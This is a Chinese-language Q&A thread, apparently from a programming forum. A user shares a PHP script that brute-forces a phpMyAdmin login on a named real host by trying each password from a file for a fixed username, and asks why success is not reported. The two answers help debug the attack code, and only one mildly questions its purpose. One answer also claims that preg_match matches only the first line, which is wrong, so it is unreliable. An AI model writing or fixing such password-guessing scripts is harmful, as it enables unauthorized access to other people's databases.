Phpmyadmin登录脚本

时间:2009-02-07 23:02:02

标签: php phpmyadmin

我尝试为phpmyadmin编写登录脚本

<?php    
$user = "Domain";
$passwords = file("passwords.txt");

foreach ( $passwords as $pass){
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: {$pass}";
endif;
}
?>

我的问题是,它在这里不起作用

echo "Login Worked with: {$pass}";

你能看到问题吗?

2 个答案:

答案 0 :(得分:1)

不一定是您的问题的解决方案,但一些基本的错误检查可能会指向正确的方向。您的问题甚至可能在初始调用文件时开始。

$passwords = file("passwords.txt");

if (!$passwords) {
 echo 'Unable to read password file';
} //etc

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");

if (!$source) {
 echo 'Unable to read file source';
} //etc

另外作为旁注,如果你在文件系统之外的文件上调用此函数,你不会得到类似于在浏览器中调用它的输出(HTML)(不确定这是否是你的意图)。

答案 1 :(得分:0)

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):

$ source的值将是获取网址的完整HTML响应:

http://dbadmin.one.com/index.php?lang=en&server=1&pma_username= $用户安培; pma_password = $通过

preg_match仅匹配该字符串的第一行。您将需要以不同方式解析字符串或替换任何换行符,以便它在整个文件中匹配。

看起来您正在使用具有许多不同密码的用户名“Domain”来测试数据库的登录。不确定这是不是你的意图,但似乎有点奇怪。